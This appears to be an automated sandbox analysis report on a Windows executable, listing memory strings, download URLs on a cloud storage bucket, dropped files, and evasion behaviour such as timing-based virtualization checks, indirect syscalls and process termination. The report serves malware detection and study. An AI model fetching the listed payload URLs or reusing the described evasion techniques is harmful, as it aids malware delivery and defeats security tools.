Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/-2476756634-1003
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/-2476756634-1003?
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/K
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/W
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.00000000005B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gif
Source: 1387457-38765948.15.exe, 00000000.00000002.3287821784.000000000014C000.00000004.00000010.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000637000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gifhttps://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gifht
Source: 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287970622.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gifnghai.aliyuncs.com/a.gif
Source: 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gifom
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gifs
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gifv
Source: 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287970622.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gif
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gifW
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gifcm.ali
Source: 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.giff
Source: 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.giff7
Source: 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.giffS
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gifnet-cn
Source: 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287970622.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gifta
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287821784.000000000014C000.00000004.00000010.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000637000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287970622.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gif
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gif;6?
Source: 1387457-38765948.15.exe, 00000000.00000002.3287821784.0000000000140000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gifIQ
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gifY
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gifcn-sha
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.giff7
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.giffO
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gifom
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gifshangh
Source: 1387457-38765948.15.exe, 00000000.00000002.3287821784.000000000014C000.00000004.00000010.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000637000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/d.gif
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/hanghai.aliyuncs.com/
Source: 1387457-38765948.15.exe, 00000000.00000002.3287821784.0000000000140000.00000004.00000010.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287970622.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287970622.00000000005B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/i.dat
Source: 1387457-38765948.15.exe, 00000000.00000002.3287821784.0000000000140000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/i.datC:
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/i.dats
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/o
Source: 1387457-38765948.15.exe	String found in binary or memory: https://www.globalsign.com/repository/0
Source: 1387457-38765948.15.exe	String found in binary or memory: https://yandex.com0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443

Source: unknown

HTTPS traffic detected: 47.101.26.25:443 -> 192.168.2.5:49981 version: TLS 1.2

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_000000014000A914	0_2_000000014000A914
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_0000000140004580	0_2_0000000140004580
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_0000000140009248	0_2_0000000140009248
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_000000014000F6B8	0_2_000000014000F6B8
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_005B2445	0_2_005B2445

Source: Joe Sandbox View

Dropped File: C:\Users\user\Documents\c4wtKa.exe D2537DC4944653EFCD48DE73961034CFD64FB7C8E1BA631A88BBA62CCCC11948

Source: 1387457-38765948.15.exe

Static PE information: invalid certificate

Source: 1387457-38765948.15.exe	Binary or memory string: OriginalFilename vs 1387457-38765948.15.exe
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 1387457-38765948.15.exe
Source: 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 1387457-38765948.15.exe
Source: 1387457-38765948.15.exe, 00000000.00000000.2045995039.0000000141D76000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameps64ldr.exe> vs 1387457-38765948.15.exe
Source: 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 1387457-38765948.15.exe
Source: 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSa.dllp( vs 1387457-38765948.15.exe
Source: 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 1387457-38765948.15.exe
Source: 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 1387457-38765948.15.exe
Source: 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 1387457-38765948.15.exe
Source: 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 1387457-38765948.15.exe
Source: 1387457-38765948.15.exe, 00000000.00000002.3289281235.0000000005CB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameps64ldr.exe> vs 1387457-38765948.15.exe
Source: 1387457-38765948.15.exe	Binary or memory string: OriginalFilenameps64ldr.exe> vs 1387457-38765948.15.exe

Source: classification engine

Classification label: mal72.evad.winEXE@1/5@1/1

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Code function: 0_2_00000001400043D0 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,GetCurrentProcessId,Process32NextW,CloseHandle,OpenProcess,WaitForSingleObject,CloseHandle,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,CreateToolhelp32Snapshot,Thread32First,CloseHandle,PostThreadMessageW,Thread32Next,CloseHandle,

0_2_00000001400043D0

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\i[1].dat

Jump to behavior

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Mutant created: \Sessions\1\BaseNamedObjects\26f3475fc22

Source: 1387457-38765948.15.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1387457-38765948.15.exe

Virustotal: Detection: 8%

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

File read: C:\Users\user\Desktop\1387457-38765948.15.exe

Jump to behavior

Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: pid.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: hid.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: 1387457-38765948.15.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 1387457-38765948.15.exe

Static file information: File size 30954656 > 1048576

Source: 1387457-38765948.15.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x1d58200

Source: 1387457-38765948.15.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 1387457-38765948.15.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 1387457-38765948.15.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 1387457-38765948.15.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 1387457-38765948.15.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 1387457-38765948.15.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 1387457-38765948.15.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\BuildAgent\work\897482836e9bb448\_bin\Release\ps64ldr.pdb source: 1387457-38765948.15.exe
Source:	Binary string: y:\avsdk5\engine\make\build\public\64-bit\vseamps.pdb source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr

Source: 1387457-38765948.15.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 1387457-38765948.15.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 1387457-38765948.15.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 1387457-38765948.15.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 1387457-38765948.15.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Code function: 0_2_0000000140004150 StrCpyW,PathAppendW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,FreeLibrary,

0_2_0000000140004150

Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_001F36AA pushad ; iretd	0_2_001F36B3
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_001F1AEE push ss; iretd	0_2_001F1AEF
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_001F4B0E push ss; iretd	0_2_001F4B0F
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_001F43DB push 0000001Bh; iretd	0_2_001F43DD
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_005B4D48 push eax; retf	0_2_005B4D49

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\1387457-38765948.15.exe	File created: C:\Users\user\Documents\vselog.dll			Jump to dropped file
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	File created: C:\Users\user\Documents\c4wtKa.exe			Jump to dropped file

Source: C:\Users\user\Desktop\1387457-38765948.15.exe	File created: C:\Users\user\Documents\vselog.dll			Jump to dropped file
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	File created: C:\Users\user\Documents\c4wtKa.exe			Jump to dropped file

Malware Analysis System Evasion

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Code function: 0_2_00000001400010FC

0_2_00000001400010FC

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\1387457-38765948.15.exe	RDTSC instruction interceptor: First address: 14000111B second address: 140001132 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec eax 0x0000000a mov ecx, eax 0x0000000c nop 0x0000000d nop 0x0000000e dec eax 0x0000000f xor edx, edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 fldpi 0x00000015 frndint 0x00000017 rdtsc
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	RDTSC instruction interceptor: First address: 140001132 second address: 140001132 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 xor ebx, ebx 0x00000009 dec eax 0x0000000a mov ebx, edx 0x0000000c dec eax 0x0000000d or eax, ebx 0x0000000f dec eax 0x00000010 sub eax, ecx 0x00000012 nop 0x00000013 dec ebp 0x00000014 xor edx, edx 0x00000016 dec esp 0x00000017 mov edx, eax 0x00000019 dec ebp 0x0000001a cmp edx, eax 0x0000001c jc 00007FBF08D66110h 0x0000001e fldpi 0x00000020 frndint 0x00000022 rdtsc

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Code function: 0_2_00000001400010FC rdtsc

0_2_00000001400010FC

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

0_2_00000001400043D0

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Window / User API: threadDelayed 694

Jump to behavior

Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Dropped PE file which has not been started: C:\Users\user\Documents\vselog.dll			Jump to dropped file
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Dropped PE file which has not been started: C:\Users\user\Documents\c4wtKa.exe			Jump to dropped file

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

API coverage: 4.3 %

Source: C:\Users\user\Desktop\1387457-38765948.15.exe TID: 2656	Thread sleep count: 694 > 30	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe TID: 2656	Thread sleep time: -347000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe TID: 2656	Thread sleep count: 305 > 30	Jump to behavior
Source: C:\Users\user\Desktop\1387457-38765948.15.exe TID: 2656	Thread sleep time: -152500s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_0000000140004094 GetModuleFileNameW,StrCpyW,PathAppendW,StrCatW,FindFirstFileW,	0_2_0000000140004094
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_00000001400042D0 StrCpyW,PathAppendW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,FreeLibrary,StrCpyW,FindNextFileW,FindClose,FindFirstFileW,StrCmpIW,StrCpyW,PathAppendW,DeleteFileW,FindNextFileW,FindClose,StrCpyW,StrCpyW,PathAppendW,	0_2_00000001400042D0
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_000000014000AB44 FindFirstFileExW,	0_2_000000014000AB44

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Code function: 0_2_005AD895 GetSystemInfo,

0_2_005AD895

Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000624000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000624000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287970622.00000000005B5000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\1387457-38765948.15.exe	API call chain: ExitProcess graph end node	graph_0-8362
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	API call chain: ExitProcess graph end node	graph_0-8365
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	API call chain: ExitProcess graph end node	graph_0-8367
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	API call chain: ExitProcess graph end node	graph_0-8371
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	API call chain: ExitProcess graph end node	graph_0-8356

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Code function: 0_2_00000001400010FC rdtsc

0_2_00000001400010FC

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Code function: 0_2_0000000140008218 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0000000140008218

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Code function: 0_2_00000001400046C8 GetLastError,IsDebuggerPresent,OutputDebugStringW,

0_2_00000001400046C8

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

0_2_00000001400043D0

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Code function: 0_2_0000000140004150 StrCpyW,PathAppendW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,FreeLibrary,

0_2_0000000140004150

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Code function: 0_2_0000000140004150 StrCpyW,PathAppendW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,FreeLibrary,

0_2_0000000140004150

Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_000000014000FC50 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_000000014000FC50
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_000000014000510C SetUnhandledExceptionFilter,	0_2_000000014000510C
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_0000000140008218 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0000000140008218
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_0000000140004F24 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0000000140004F24

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

NtDelayExecution: Indirect: 0x1F94CC

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

0_2_00000001400043D0

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Code function: 0_2_000000014000F290 cpuid

0_2_000000014000F290

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Code function: 0_2_00000001400052E4 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00000001400052E4

Mitre Att&ck Matrix

